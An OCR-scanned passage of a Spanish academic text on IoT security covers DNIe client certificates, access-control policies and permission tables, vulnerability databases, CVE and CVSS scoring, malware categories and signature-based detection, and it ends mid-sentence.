protocolos asociados ma&s comunes SSL y TLS, los cuales se describen en la seccion de HTTPS.

A continuacion un ejemplo de un caso de certificacion, certificacion de cliente, en el que
suponiendo una comunicacion publica, con identificacion por D.N.I. electrénico (DNIe) en el
establecimiento de la comunicacion por SSL, el servidor enviard antes del mensaje Server hello
done, el mensaje Certificate request. Este mensaje contiene una:

- Lista de los posibles certificados.
- Lista de autoridades de certificacion.

Asi pues, el navegador cargara el certificado correspondiente (en caso de a ver visto varios
certificados de cliente en el que el sistema pide elegir uno de ellos) tal como se puede ver en la
figura siguiente:

Windows Security @

Select a Certificate

I 1
| ﬁ ' Valid From: 13/01/2011 to 13/01/2015

Click here to view certificate prope...

\ = =
| Valid From: 10/12/2010 to 10/06,/2013

[ OK }[ Cancel I

Fig.56: Ejemplo de certificado electronico de cliente.
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Para poder usar el certificado, el usuario deberd demostrar que es el poseedor mediante la
introduccidn del cédigo o contrasefia correspondiente.

Spanish Electronic ID Card (DNI electrénico) [
. it ::| Type your PIN:

dni &

—— ok | [ concel |

Fig.57: Comprobacion identidad de certificado electronico de cliente.

5.4.- Control de acceso

El control de acceso es el proceso por el cual, dada una peticion de recursos, se permite o niega
el acceso a los mismos en base a la aplicacién de unas politicas de acceso.

El control de acceso comprende mecanismos de autenticacion, autorizacion y auditoria. Sus
principales objetivos son proteger datos y recursos frente al acceso no autorizado (proteger el
secreto) y frente a una modificacion no autorizada (proteger la integridad) a la vez que garantizar
el acceso de los usuarios legitimos a los recursos (no denegacion de servicio). Con el fin de
conseguir estos objetivos, se controlan todos los accesos al sistema y sus recursos, y solo se
permite que tengan lugar aquellos autorizados.

Los sistemas de control de acceso deben ser entendidos como mecanismos de monitorizacion
capaces de interceptar todas las peticiones de recursos que lleguen al sistema. Estos sistemas de
control deben cumplir con los siguientes requisitos:

- Resistencia a manipulaciones: y si lo es, dicha manipulacién debe ser detectable. En
caso de no ser asi, el sistema no es seguro.

- No eludible: el sistema no puede ser saltado, es decir, todo acceso debe producirse a
través de él. En caso contrario, el sistema no es seguro.

- Seguridad nuclear: la seguridad del sistema debe concentrarse en un ndcleo y no
distribuirse por el sistema informatico. En su caso, el sistema quedaria aparte de
inseguro, sobrecargado.

- Tamafio pequefio: el sistema debe ser lo suficientemente pequefio como para permitir
la prueba formal de su seguridad.

Lenguaje humano

+ 3
Deﬁmcu?n de politicasde Reglas de alto nivel
seguridad de acceso
=
0
(W]
[ &)
=
0 Representacion del modelo . .
£
© formal de seguridad — Pruebas de las propiedades de seguridad
=]
K]
=
=
Desarrollo de los mecanismos .
: * Funciones softwarey hardware
de seguridad
-l

Lenguaje de
programacién

Fig.58: Abstraccidon y fases de un sistema de control de acceso.
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5.5.- Politicas de acceso

Uno de los principios a aplicar es el de economia, esto es, utilizar el minimo nimero de recursos
para ofrecer el servicio estrictamente necesario. Por lo tanto, esto se traduce en utilizar Gnicamente
el minimo de servicios que proporcionen la funcionalidad deseada. Esto se debe a que cada
servicio adicional es susceptible de sufrir algun tipo de vulnerabilidad: cuanto méas servicios se
ofrecen, mas crece la ventana de ataque. Sin embargo, no siempre es sencillo determinar qué

servicios son los necesarios.
Aplicacion 1 6 Datos aplicacién 1

'_'-“- Aplicacion K 8 Datos aplicacion K

Fig.59: Esquema de un sistema informatico.

Ademés de la habilitacion y deshabilitacion de servicios, también hay que securizar debidamente
los que se decide dejar activos. Algunos servicios han sido célebres por presentar vulnerabilidades
que han permitido el acceso a la base de datos; otros incorporan contrasefias por defecto (o
simplemente no incorporan ninguna contrasefia), por lo que se debe realizar un trabajo adecuado
de configuracion antes de publicar el servicio en entornos de produccion.

Entramos ahora a ver el establecimiento de politicas de acceso. Todo sistema de control de acceso
considera los siguientes elementos basicos:

e Sujetos (también llamados iniciadores): definidos como cualquier entidad con capacidad
de requerir el acceso a objetos del sistema. Los sujetos tipicos de un sistema son sus
usuarios y los procesos del sistema (por ejemplo, un navegador web, un procesador de
textos, etc.).

e Objetos (también llamados objetivos): son todas aquellas entidades de un sistema
susceptibles de ser protegidas. En el caso de un sistema operativo pueden ser: archivos,
directorios, programas, dispositivos, terminales, puertos, etc. En el caso de una base de
datos tenemos tablas, relaciones, vistas, procedimientos. etc.

e Acciones: todo aquello que se puede realizar sobre un objeto. Por ejemplo las acciones
que podemos realizar sobre un fichero: lectura, escritura, creacion, eliminacion. En el
caso de un programa, poder de ejecucion del mismo.

En todo sistema informatico, los sujetos realizan acciones sobre los objetos. El sistema de control
de acceso es el encargado de decidir si un determinado sujeto tiene permiso para ejecutar una
determinada accidn sobre un determinado objeto. La decision de permitir o denegar el acceso a
los recursos se realiza en base a las politicas de acceso.

Las politicas de acceso son el conjunto de reglas que permiten determinar si un sujeto puede
realizar una determinada accion (lectura, escritura, modificacion, eliminacién o ejecucion) sobre
un objeto.

La figura siguiente muestra un esquema de los componentes principales de un sistema y su
interaccion con el sistema de control de acceso. Notar como el sistema de control de acceso (en
el centro de la figura) recibe peticiones de los sujetos para realizar acciones. EvalUa estas
peticiones mediante el uso de una politica de acceso y actlla en consecuencia permitiendo o
denegando el acceso a los objetos.
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Fig.60: Elementos basicos de un sistema de control de acceso y su interaccion.
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Fig.61: Esquema de implementacion de conexion usuario a permisos.

Por ejemplo y respecto a seguir la atencion de establecer buenas précticas, veamos los siguientes
esquemas de organizacion de referente de Usuarios estandar vs. Administradores y Cuentas vs.
Permisos.
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Usuarios estandar Administradores

Establecer una conexién de red. Instalar/desinstalar aplicaciones.

Establecer una conexion de red inaldmbrica. | Instalar el controlador de un dispositivo.

Cambiar la configuracion de pantalla. Instalar actualizaciones de Windows.
Desfragmentar el disco duro. Configurar el control parental.

Leer un CD/DVD.

Grabar un CD/DVD. Configurar el firewall.

Modificar el fondo de pantalla. Modificar el tipo de cuenta de un usuario.

Acceder a la fecha y hora del sistema y | Modificar los parametros UAC (User Account
modificar el huso horario. Contro).

Utilizar el escritorio remoto para conectarse a | Configurar el acceso al escritorio remoto.
equipos remotos.

Configurar las opciones de alimentacién de la | Crear o eliminar una cuenta de usuario.
bateria.

Configurar las opciones de accesibilidad. Copiar 0 mover archivos en las carpetas de
Program Files o Windows.

Restaurar los archivos de copia de seguridad | Definir tareas programadas.
de usuario.

Definir una sincronizacion entre un | Restaurar la copia de seguridad de archivos
dispositivo portatil y el equipo (smartphone, | del sistema.
equipo portétil, PDA).

Conectar y configurar un dispositivo | Configurar el servicio de actualizaciones
Bluetooth. automaticas.

Tabla 2: Rol de Usuarios vs. Administradores.
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Respecto de Cuentas con Permisos, veamos la siguiente tabla:

Cuenta o grupo

Descripcion

Administradores de
la Empresa.

Este grupo tiene acceso completo a todos los controladores de dominio
del bosque.

Administradores de
Esquema.

Este grupo tiene acceso completo al esquema AD.

Administradores.

Este grupo tiene acceso completo a todos los controladores de dominio
del dominio.

Administradores

Este grupo tiene un acceso completo a todos los puestos miembros del

del Dominio. dominio (incluido los controladores de dominio).

Operadores de | Por defecto, este grupo no tiene miembros. Se utiliza para tareas de

Servidores. mantenimiento como las copias de seguridad y la restauracion de
controladores de dominio.

Operadores de | Por defecto, este grupo no tiene miembros. Puede crear y gestionar

Cuentas. cuentas de usuario y grupos en el dominio, pero no puede gestionar las
cuentas de administracion.

Operadores de | Por defecto, este grupo no tiene miembros. Puede realizar una copia de

Backup. seguridad y restauracion de los controladores de dominio.

Operadores de | Por defecto, este grupo no tiene miembros. Puede gestionar las

impresion. impresoras y sus drivers.

Administrador.

Esta cuenta de usuario tiene un acceso completo a todos los
controladores de dominio. Incluso si la cuenta esta desactivada, se puede
utilizar en modo a prueba de fallos.

Tabla 3: Asignacion Cuentas/Grupo.

Respecto de Directorios/Carpetas y los distintos Grupos y Usuarios.

Tipo de recurso

Descripcion

Permisos

Carpeta publica

Carpeta accesible a todos los
usuarios.

Permiso "Cambiar " al grupo
Usuarios.

Carpeta privada

Carpeta con informacion que
solo debe ser vista por los
administradores.

Permiso "Cambiar" al grupo
Usuarios.

Permiso "Control Total" al
grupo Administradores.

Carpeta de aplicaciones

Carpeta que contiene
aplicaciones para ejecutar a
través de la red.

Permiso "Leer" al

Usuarios.

grupo

Carpeta personal.

Carpeta individual de cada
usuario.

Permiso "Control Total" ensu
carpeta correspondiente.

Tabla 4:

Asignacion Recursos - Permisos.
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Otras posibles tablas de organizacion son:

Por ejemplo supongamos una empresa de produccion de circuitos y programas de gestion de los

mismos:

Administracién Maria Pedro
Contabilidad - -

Facturacion Lectura/Escritura Lectura/Escritura
Informatica Lectura Lectura
Software Administracion Técnicos
Contabilidad Lectura/Escritura Lectura/Escritura
Ofimaética Lectura/Escritura Lectura/Escritura
Test - Lectura

CAD - Lectura/Escritura.
Almacén Lectura Lectura

Tabla de Aplicaciones:

© ladicacion | wnormacion [ Grupo | Grupo | Grupo
Local Remoto | Local Remoto | A B C
Aplicacion Permiso
Aplicacion
Division por matriz de acceso:
Archivo 1 Archivo 2 Ejecutable 1 Ejecutable 2
Ana Lectura Lectura Ejecucion
Escritura Escritura
Propiedad
Bernardo Lectura Ejecucion
Carlos Ejecucion

Tabla 5: Otras posibles tablas de asignaciones.
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6.- SEGURIDAD EN SISTEMAS IoT IV. Vulnerabilidades.

6.1.- Definicion de vulnerabilidad

Una vulnerabilidad de seguridad es un fallo o debilidad en el disefio, la implementacion, la
operacion o la gestién de un sistema, que puede ser explotado con el fin de violar la politica de
seguridad del sistema [14].

Nos referimos a vulnerabilidad como debilidad de cualquier tipo que compromete la seguridad
del sistema informatico.

A continuacion se muestran algunas de las causas de las vulnerabilidades en los sistemas
informéticos agrupadas en funcién de:

* Disefio

— Debilidad en el disefio de protocolos utilizados en las redes.
— Politicas de seguridad deficientes o inexistentes.

* Implementacion

— Errores de programacion.

— Existencia de "puertas traseras” en los sistemas informaticos.
* Uso

— Mala configuracién de los sistemas informaticos.

— Desconocimiento y falta de sensibilizacion de los usuarios y de los responsables de informatica.
— Disponibilidad de herramientas que facilitan los ataques.

— Limitacion de tecnologias de seguridad.

Una politica de seguridad es el conjunto de reglas y practicas que definen y regulan los servicios
de seguridad de una organizacion o sistema con el propésito de proteger sus recursos criticos y
sensibles. En otros términos, es la declaracion de lo que esta permitido y lo que no esta permitido
hacer.

La politica de seguridad es la base de la sequridad de un sistema. En ella se detallan los servicios
de seguridad del sistema, se determina quién y/o qué se puede o no hacer con los recursos del
sistema, y generalmente se especifica como se implementan dichos servicios. La implementacion
concreta de una politica de seguridad se lleva a cabo mediante mecanismos de seguridad. La
politica no tiene por qué ser una declaracion formal, a veces se trata de

simples directrices sobre la seguridad del sistema en lenguaje informal.

Un ataque es una agresion a la seguridad de un sistema fruto de un acto intencionado y deliberado
que viola la politica de seguridad de un sistema.

Un ataque puede ser activo o pasivo. Un ataque activo intenta alterar el sistema, sus recursos u
operaciones. Un atagque pasivo intenta aprender o utilizar informacion del sistema pero no afecta
al propio sistema, ni a su funcionamiento. En la figura 1 se muestran los conceptos vistos hasta
ahora.
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Incidente de seguridad

Incidente de seguridad Acudhente/l.nmdente L
intencionado

Vulnerabilidad

Sistema de informacion

Fig.62: Esquema de Incidente de seguridad [14].
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Fig.63: Evolucién vulnerabilidades segun CVSS [15]

Los equipos encargados de la gestion de vulnerabilidades e incidentes de seguridad suelen recibir
el nombre de CERT (Computer Emergency Response Team) o CSIRT (Computer Security
Incident Response Team). La principal tarea de estos equipos es la gestion de incidencias de
seguridad. En la préctica, sirven como medio para la difusion de vulnerabilidades de seguridad a
usuarios (particulares u organizaciones), que suelen ser reportadas por los propios usuarios.

Los equipos CERT disponen de bases de datos y canales de distribucion (como listas de correo)
para distribuir informacion relativa a vulnerabilidades.
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esCERT UPC Universidad Politécnica de Catalufa

http://escert.upc.edu 1994
Universidades y pymes catalanas

IRIS-CERT RedIris (Red.es, Ministerio de Industria, Turismo y Comercio
http://www.rediris.es/cert 1997

Universidades
S21sec CERT Grupo S21sec Gestion S.A.
https://cert.s21sec.com 2000

Clientes y ciudadanos

CCN-CERT Centro Criptogréafico Nacional (Centro Nacional de Inteligencia, Ministerio
de Defensa)

https://ccn-cert-cni.es 2006

Administracion publica (General, autonémica y local)

INTECO-CERT | Instituto Nacional de Tecnologias de la Comunicacion (Ministerio de
Industria, Turismo y Comercio)

http://cert.inteco.es 2007
Pymes y ciudadanos

CSIRT-CV Centre Seguritat TIC de la Comunidad Valenciana
http://www.csirtcv.gva.es 2007

Ciudadanos, pymes y Administracién publica de la C. Valenciana.

CESICAT Centre de Seguretat de la Informacié de Catalunya (Generalitat de
Catalufa).
http://www.cesicat.es 2010

Ciudadanos, pymes, universidades/centros de investigacion y
Administracion publica de Catalufia

Tabla 6: Principales equipos CERT en territorio espafiol.

Su principal tarea es recoger informacion sobre vulnerabilidades, clasificarlas y publicar su
existencia, asi como posibles medidas para mitigarlas.

Ejemplo de publicacion de vulnerabilidad

En la siguiente tabla podemos ver una vulnerabilidad real reportada por CCN-CERT sobre la
aplicacién Powerpoint de Microsoft.
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Clasificacidn de la vulnerabilidad

Riesgo Medio

Nivel de confianza Oficial

Impacto Obtener acceso
Dificultad Experto

Requerimientos del atacante | Acceso remoto sin cuenta a un servicio estandar
Informacidn sobre el sistema
Mataforma afectada Microsoft

Software afectado Microsoft Office 2003 5P3

Microsoft Office XP 5P3

Microsoft Office 2007 3p2

Microsoft Office 2004 para MacO5

Microsoft Office 2008 para MacO5

Open XML File Format Comverter para MacO5

Descripcion
S& han descubierto miltiples vulnerabilidades en Microsoft PowerPoint en Windows y Mac0O5.
Las vulnerabilidades son descritas a continuacian:

- CWE-2011-1269: Se ha descubierto una wvulnerabilidad en “PowerPoint”. La vulnerabilidad
resice en un emor en el modo como trata los archivos. Un atacante remoto podria obtener
acceso o ejecutar cidigo arbitrario mediante un archive *PowerPoint™ especialmente mani-
puladao.

- CWE-2011-1270: Se ha descubierto una wvulnerabilidad en “PowerPoint”. La vulnerabilidad
reside en un emor en el modo como trata los archivos. Un atacante remoto podria obtener
ac\cI:j-} o ejecutar cidigo arbitrario mediante un archivo *PowerPoint™ especalmente mani-
pulada.

El boletin M511-036 sustituye al M511-022
Solucidn

Actualizacidn de software

Microsaft (M511-036)

‘er tabla de actualizaciones en:
hittp:/ S microsoft.comytechnet fsecurity /Bulletin/M51 1-036_mspx

Identificadores estandar

CVE CVE-2011-1269
CVE-2011-1270

BID ML

Recursos adicionales

Microsoft Security Bulletin (M511-036):
hittp:/ fwewew. microsoft. comtechnet fsecurity Bulletin/M511-036_ mspx

Histdrico de versiones

‘Version Fecha
1.0 2011-05-11

Fig. 64: Ejemplo de publicacién de vulnerabilidad.

Como curiosidad comentar en este punto que en la literatura de vulnerabilidad se comenta sobre
la disposicién conforme o no sobre la publicacion de vulnerabilidades (no corregidas), el ocultar
informacidn sobre un sistema se considera una practica de dudosa eficacia y puede llegar a dar
una falsa sensacion de seguridad.

Respecto de la no ocultacion de la informacion destaca el principio de Kerckhoff (1835-1903)
sobre los criptosistemas:

Principio de Kerckhoff:

Los criptosistemas "no deben ser necesariamente secretos y deben poder caer en manos del
enemigo sin que ello conlleve inconveniente ninguno™.

A. Kerckhoffs (1883). La cryptographie militaire. Journal des sciences militaires (vol. X, pag. 5-83, enero, pag. 161-
191, febrero).

Idea hoy en dia muy extendido a la mayoria de los sistemas informaéticos.

Siguiendo estos principios, la mayoria de los CERT adoptan un compromiso en la publicacién de
vulnerabilidades. En general, abogan por la libre publicacion. Sin embargo, suelen informar a los
fabricantes dias previos a la aparicion de la vulnerabilidad en su web para que estos puedan
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desarrollar medidas preventivas o parches de seguridad. Esta accion se comprende dentro de los
45 dias desde el recibo de la vulnerabilidad.

Para poder identificar vulnerabilidades, existen identificadores unicos que impiden que se
publiquen duplicados y facilitan la posibilidad de hacer referencia a vulnerabilidades concretas.
El sistema de identificacibn méas importante a escala internacional es el CVE (Common
Vulnerabilities and Exposures). CVE se presenta como un estdndar de nombres de
vulnerabilidades de seguridad informéatica de uso gratuito y publico. Se autodefine como un
diccionario de vulnerabilidades (no como una base de datos), donde cualquiera puede buscar el
nombre (identificador) que recibe una vulnerabilidad concreta.

Segun CVE, una vulnerabilidad es un estado de un sistema informético (o conjunto de sistemas)
gue cumplen con alguno de los siguientes casos:

Permite a un atacante ejecutar comandos como otro usuario.

e Permite a un atacante acceder a los datos violando las restricciones de control de acceso
especificas para dichos datos.
Permite a un atacante suplantar a otra identidad.

e Permite a un atacante llevar a cabo una denegacién de servicio.

Cabe destacar en ente punto que ha habido otros esquemas de identificacion de vulnerabilidades,
como BugTraq, basada en una lista de correo. Paso a ser adquirida por la empresa Security Focus
gue a su vez fue absorbida por Symantec.

6.2.- Bases de datos de vulnerabilidades

Aungue como se ha comentado la mayoria de equipos CERT ofrecen bases de datos de
vulnerabilidades, existen algunas bases de datos a las que los CERT suelen hacer referencia. Entre
ellas destacan:

The open Source Vulnerability Database (OSVD).
National Vulnerability Database (NVD).
SecurityFocus Vulnerability Database.

Exploit DB.

Secunia.

Cada base de datos tiene su propio sistema de codificacion y de identificacion de vulnerabilidades.
Ademas, una misma vulnerabilidad se puede encontrar en varias bases de datos pero en
codificaciones diferentes, aun tratdndose de la misma.

Por ejemplo, Secunia dispone de mas de 48.000 productos, que incluye software y sistemas
operativos de més de 8.000 fabricantes.
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Fig.65: Buscador de Base de datos Secunia.

6.3.- Evaluacién de vulnerabilidades

Se trata en este apartado de corresponder el riesgo atribuido a la vulnerabilidad, en base al propio
riesgo, dificultad o impacto. Atribuir este nivel de riesgo es importante a efectos de considerar si
bien clasificar respecto de més peligrosas y a esto mas urgentes. Tarea considerada de dificil
respecto a como evaluar una vulnerabilidad.

El sistema de evaluacion mas extendido se conoce como CVSS (Common Vulnerability Scoring
System). CVSS es un intento de estandarizar una métrica comun para evaluar vulnerabilidades.
La idea es obtener un nimero (o conjunto de nimeros) que nos den la idea del peligro potencial
gue supone una vulnerabilidad.

o Métrica base: aspectos de la vulnerabilidad constantes en el tiempo y entorno. Descritas a
través de lo indicado en la siguiente tabla, descritas por el llamado vector base:

Vector de acceso (AV) Como se explota la vulnerabilidad. Puede
ser localmente (L), desde una red adyacente
(A) o desde cualquier red (N).
Complejidad que requiere el atacante una
vez ha accedido al sistema. Esta puede ser
alta (H), media (M) o baja (L).

NUmero de veces que el atacante debe
autenticarse contra un sistema. Pueden ser
multiples (M), una (S) o ninguna (N).

Tres indicadores sobre el impacto que
puede tener la vulnerabilidad en la
confidencialidad, integridad 0
disponibilidad del sistema. Para cada uno
de los valores puede ser: ninguno (N),
parcial (P) o completo (C).

Complejidad de acceso (AC)

Autenticacion (Au)

Impacto de  Confidencialidad (C),
integridad (1) y disponibilidad (A)

Por ejemplo, la vulnerabilidad CVE-2002-0392 tendria por vector base:

AV:N/AC:L/Au:N/C:N/I:N/A:C

61



DE INGEN

TELECOMUN

Esta es una vulnerabilidad que se puede explotar desde cualquier red, que tiene impacto sobre la
disponibilidad (posiblemente mediante un ataque de denegacion de servicio), es facil de explotar
y sin necesidad de autenticarse.

Calificada en arreglo a las siguientes severidades, basadas en la actual version 3.0 del CVSS:

Severidad Rango de medida
Ninguna 0.0

Baja 0.1a3.9

Media 40a6.9

Alta 7.0a8.9

Critica 9.0a10.0

Tabla 7: Valoracién severidad segun CVSS.

e Métrica temporal: meétricas que pueden cambiar con el tiempo. Comprenden la
explotabilidad (existencia de exploits y su grado de disponibilidad), nivel de curacién o
remediation level (existencia de soluciones y si son definitivas o temporales) y la confianza
del anuncio (hasta que nivel se ha confirmado la vulnerabilidad). La métrica temporal se
combina con la base para dar un valor entre 0 y 10.

e Meétrica del entorno: relativas al entorno del sistema informéatico propiamente dicho,
incluye el riesgo personal, de organizacion y colateral. Medido en intervalo de minimo-
maximo.

La métrica principal que se suele tomar como score es la métrica base.

6.4.- Virus

Inicios aproximados en 1949 partiendo de la teoria de John Von Neumann en la que a través de
su teoria sobre autdmatas complejos y respecto de su referencia de la posibilidad de la existencia
de programa almacenado ya asocio la idea del posibilidad de replicacion de un programa. Su
investigacion fue publicada en 1966 en un libro titulado Theory of self-reproducing automata.

Fue durante los afios setenta cuando aparecieron los primeros programas capaces de
autorreplicarse segln las teorias de Neumann. En 1983, Frederick B. Cohen acufi¢ el término
virus para referirse a un programa capaz de autorreplicarse. Un afio mas tarde se empled el término
de virus informaético.

Virus informético segiin Cohen:
Cohen define un virus informético (computer virus, N. del T.) como un “programa que
puede infectar a otros incluyendo una copia posiblemente evolucionada de si mismo”.

Fue en los afios ochenta cuando se produjo la gran época de expansion de los virus informaticos.
Virus que empezaron a incluir en su codigo rutinas con finalidades maliciosas. Sin duda fue el
nacimiento del malware.

Adelantar en este punto tener cuenta que un virus, al igual que cualquier otro programa, utiliza
los servicios proporcionados por el sistema. Por tanto, determinar si un programa concreto se trata
de un software malintencionado para por establecer lo que es un uso legitimo de los servicios del
sistema y contrastarlo por las acciones realizadas por todo proceso. Méas adelante en deteccion
semantica se detallard mas sobre este detalle.
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6.5.- Malware

El malware es un tipo de software intrusivo y hostil que tiene como objetivo infiltrarse o dafiar
un sistema de informacion sin la aprobacion ni el conocimiento de su propietario.

Actualmente se distinguen tres grandes categorias de software malicioso. Estas son, malware de
propagacion automatica, malware oculto y malware lucrativo. Seguidamente definiremos cada
una de ellas.

Malware de propagacion automética

El malware de propagacion es aquel cuya principal finalidad es la de extenderse de forma
automatica infectando nuevos sistemas de informacion.

Dependiendo de la forma que emplea para propagarse se distinguen dos subcategorias:

e Malware de propagacion por infeccion virica: aquél en el que el codigo malicioso se
replica a si mismo al afiadirse a archivos ejecutables. A esta categoria pertenecen el malware
que infecta el MBR (Méster Boot Record) de los discos duros, lo que permite ejecutarse tras
las pertinentes operaciones de la BIOS y tomar el control antes de cargarse en el Sistema
Operativo.

e Malware de propagacion como gusano: aquél que empleando la red a la que esta
conectado, se replica a si mismo, enviando copias (infectando) de si mismo a otros sistemas
de la red (contaminando). Su presencia se ve en la ejecucion de envio indiscriminado de
correos electronicos, mensajeria instantanea y redes P2P.

Malware oculto

El Malware oculto es un tipo de software malicioso que se caracteriza por intentar permanecer
desapercibido para el usuario dentro del sistema infectado.

Dependiendo de la forma que emplea para propagarse se distinguen tres subcategorias:

e Rootkits: inicialmente hace referencia al conjunto de herramientas que permitian a un
atacante obtener privilegios de administrador (root). Hoy en dia, por generalidad, hace
referencia al conjunto de técnicas que permiten eludir la deteccion y eliminacion de cualquier
malware. A esto, se basa en la modificacion del S.O. de la maquina infectada a bajo nivel,
permitiendo la ocultacion de procesos, archivos o conexiones de red utilizadas por el
software malicioso.

e Troyanos: caracterizado por estar enmascarado detras de un supuesto programa legitimo. La
victima lo considera como un programa con funciones de su interés. Sin embargo, tras la
instalacion y sin su consentimiento y consciencia el malware actla detras de un software
aparentemente licito. Asociado a funciones como conseguir el control remoto o robo de
informacién. Puede incluir movimientos de ingenieria social para convencer al usuario como
correos o paginas web.

e Puertas traseras (backdoors): corresponde a software que se instala en un sistema ya
comprometido que permite eludir los mecanismos de autentificacion a la vez que permanece
oculto. Consiguiendo a un atacante tomar acceso y control del sistema. En ocasiones las
puertas traseras pueden adoptar formas de troyanos e incluso incluir técnicas de rootkits.

Malware lucrativo

El software malicioso que pertenece al malware lucrativo se caracteriza, como sugiere su nombre,
por proporcionar algun tipo de beneficio al atacante. Por ejemplo, beneficio econémico.
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Dependiendo de la forma que emplea para propagarse se distinguen tres subcategorias:

e Spyware: software malicioso que registra informacion sensible de usuarios sin su
consentimiento, violando la privacidad de estos. Por ejemplo, datos personales, nimeros de
tarjeta de crédito, habitos de navegacion web, contrasefias, pulsaciones de teclas, o incluso
capturas de pantalla. Esta informacidn se transmite a terceras partes con finalidades como
son el fraude electronico, el marketing ilicito u otras actividades maliciosas.

¢ Ransomware. extorsiona a los usuarios propietarios de una maguina infectada, exigiendo
algln tipo de pago tras cifrar archivos, o bien desactivar o bloquear partes del sistema. Si el
usuario realiza el pago —usualmente via transferencia bancaria 0 SMS con cargo adicional-,
el atacante proporciona algin mecanismo para eliminar el perjuicio causado por el mismo
cédigo malicioso.

e Scareware: Es un cédigo malintencionado que, basandose en estrategias de ingenieria social,
puede proporcionar beneficios econémicos al atacante. En concreto, explota el engafio, la
persuasion, la coaccién o el miedo a través de mensajes de alarma o de amenaza para forzar
a la victima a realizar un pago. Ejemplo: una vez instalado, el programa reporta la existencia
de una cantidad elevada de software malicioso en el sistema, cuando la realidad no es asi.

¢ Bot: permite a un atacante controlar de forma remota la maquina que lo ejecuta. Al conjunto
de méaquinas distribuidas e infectadas por bots, y controladas por un atacante, se le conoce
con el nombre de botnet. Ejemplo, para realizar el envio masivo de SPAM.

e Adware: Es un tipo de malware que de forma automatica muestra publicidad no consentida
al usuario, con la finalidad de que realice algln tipo de compra. Esta publicidad suele
aparecer en los navegadores web como ventanas emergentes, siendo un comportamiento
molesto e indeseable para el usuario.

e Dialers: Es un tipo de software malintencionado cuyo objetivo es modificar la configuracién
del programa de marcado de los médems. En particular, modifican el nimero de teléfono a
marcar por otro cuya tarifa es mas elevada en comparacion con la asociada al ndmero
legitimo. Hoy en dia, este tipo de software esta en declive, ya que la mayoria de tecnologias
actuales para el acceso a la red Internet funcionan de forma diferente.

6.6.- Vectores de infeccion

Uno de los aspectos importantes a tener presente contra la lucha del malware es la identificacion
de los posibles vectores de infeccion. Conocer estas vias de infeccidn nos permite centrar nuestros
esfuerzos en disefiar e incorporar mecanismos de seguridad adecuados.

En términos generales, podemos distinguir dos estrategias posibles para la infeccién de un
sistema:

- Los procesos de infeccion iniciados por el usuario victima.
- Los procesos de autoinfeccion iniciados a través de vulnerabilidades existentes en los
sistemas.

6.7.- Deteccion de malware

Ya postulado por Cohen (1987) en sus trabajos sobre los virus, el problema de la deteccion
perfecta de software malicioso es un problema indecidible.

No existe un programa capaz de detectar la totalidad de variantes de cédigo malicioso que pueden
llegar a existir. Por lo tanto, no siempre sera posible realizar una deteccion proactiva, lo que
conduce, en alguna ocasion, a una inevitable infeccion de los sistemas.

Sin embargo, esto no significa que no podamos disefiar mecanismos que nos permitan detectar y
luchar contra un subconjunto de la totalidad del espectro del malware.
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En la actualidad los modelos de deteccidon de malware se clasifican en dos categorias en funcion
del tipo de deteccion que realizan. Una primera aproximacion a la deteccién conforme de malware
la tenemos en los siguientes dos modelos:

- Imprecisos: tan solo determinan si un determinado objeto es malware o no. Sin alcanzar
a deducir ni reportar mas informacion.

- Exactos: capaces de realizar una deteccion concisa y proporcionando informacion
particular acerca del software malicioso detectado.

Asociado a lo anterior, se dispone de dos tecnologias principales:

- Deteccion sintactica basada en firmas: un modelo exacto que, por su naturaleza, nos
impide luchar contra mecanismos de ofuscacion que pueden incorporar el malware.

- Deteccion semantica: presentada como una manera de superar las deficiencias de la
deteccion basada en firmas, en contra posicion, éste se basa en un modelo impreciso con
las consecuencias que esto supone.

6.7.1.- Deteccidn sintactica basada en firmas

Fue la primera de las técnicas empleada en la deteccion de software malicioso. Actualmente sigue
como nucleo de motores de deteccion de malware y le caracteriza su baja tasa de falsos positivos.

La deteccion sintactica basada en firmas es una estrategia que se basa en localizar dentro de
objetos potencialmente maliciosos (comUnmente ficheros o procesos) algin patron que
identifique a un determinado malware conocido.

Consiste en patrones Ilamados firmas sinticticas que vienen expresados como una secuencia de
bytes y representan cadenas de texto o instrucciones de bajo nivel en forma de opcodes.

Los motores de deteccidn sintactica disponen de una base de datos de estas firmas que definen el
conjunto de software malicioso reconocible. Si el motor encuentra alguna de las firmas de la base
de datos en un objeto, este se identifica de forma fehaciente como un malware especifico. Para
localizar estas firmas dentro de un objeto, se emplean diversos algoritmos de busqueda y
concordancia. Estos algoritmos estan optimizados y tienen una complejidad acotada en funcion
del tipo de firma que se utiliza. Asimismo, estos motores pueden mejorar el rendimiento al limitar
la busqueda a partes estratégicas de los objetos, y no realizar una busqueda exhaustiva en todo su
contenido.

La tecnologia de deteccién de software malicioso basado en firmas sintacticas presenta diversas
deficiencias, lo que lo convierte en un método ineficaz bajo ciertas circunstancias:

- Las firmas de una base de datos siempre estan asociadas a software malintencionado
conocido, no permitiendo detectar nuevas formas de codigo malicioso.

- La generacién de firmas puede conllevar un proceso largo y tedioso de analisis, lo que
implicaria dejar a expuesto a infeccion a los sistemas durante un tiemplo elevado.

- A pesar de que la distribucion de las firmas en los mejores casos se realiza de forma
automatica, existen motores en los que se requiere la intervencion del usuario para lanzar
el proceso de actualizacién de la base de datos.

65




UNIVERSITAT _TELECOM ESC

POLITECNICA TECNICAVLE
DE VALENCIA HE INGEN!

6.7.1.1.- Tipos de firmas

En tanto que a pesar de sus inconvenientes continda siendo el pilar de la metodologia de deteccion
de malware, actualmente se identifican cuatro tipos de firmas:

Firmas

Expresiones | ‘ Funciones hash | | Combinaciones

| Estaticas | | . i o s
regulares criptograficas logicas

Fig.66: Tipos de firmas de deteccion de malware.

1) Firmas como cadenas estaticas: son la forma més bésica entre las distintas posibles.
Definidas como una secuencia de bytes consecutivos de longitud arbitraria. Si se localiza
esta secuencia en un objeto analizado, entonces se identifica como codigo malicioso.

2) Firmas con expresiones regulares: este tipo de firmas soporta expresiones regulares en
su definicion. Asi hacen posible localizar concordancias de bytes segun repeticiones,
rangos, combinaciones, etc. Tiene una mayor complejidad que el de las cadenas estaticas
y, por tanto, menor velocidad en el proceso de identificacion de malware.

3) Firmas basadas en funciones hash criptograficas: sustentadas en el uso de funciones
hash criptograficas. Reporta doble ventaja. En primer lugar, siempre y cuando el tamafio
resultante de calcular la funcién hash sea inferior al tamafio de otro tipo de firma
alternativa, pueden reducir el espacio necesario para almacenar una firma. En segundo
lugar, este tipo de operacion puede ser computacionalmente menos costosa de localizar
gue los algoritmos de blsqueda de otros tipos de firmas.

4) Combinaciones logicas de firmas: combina multiples subfirmas sintécticas relacionadas
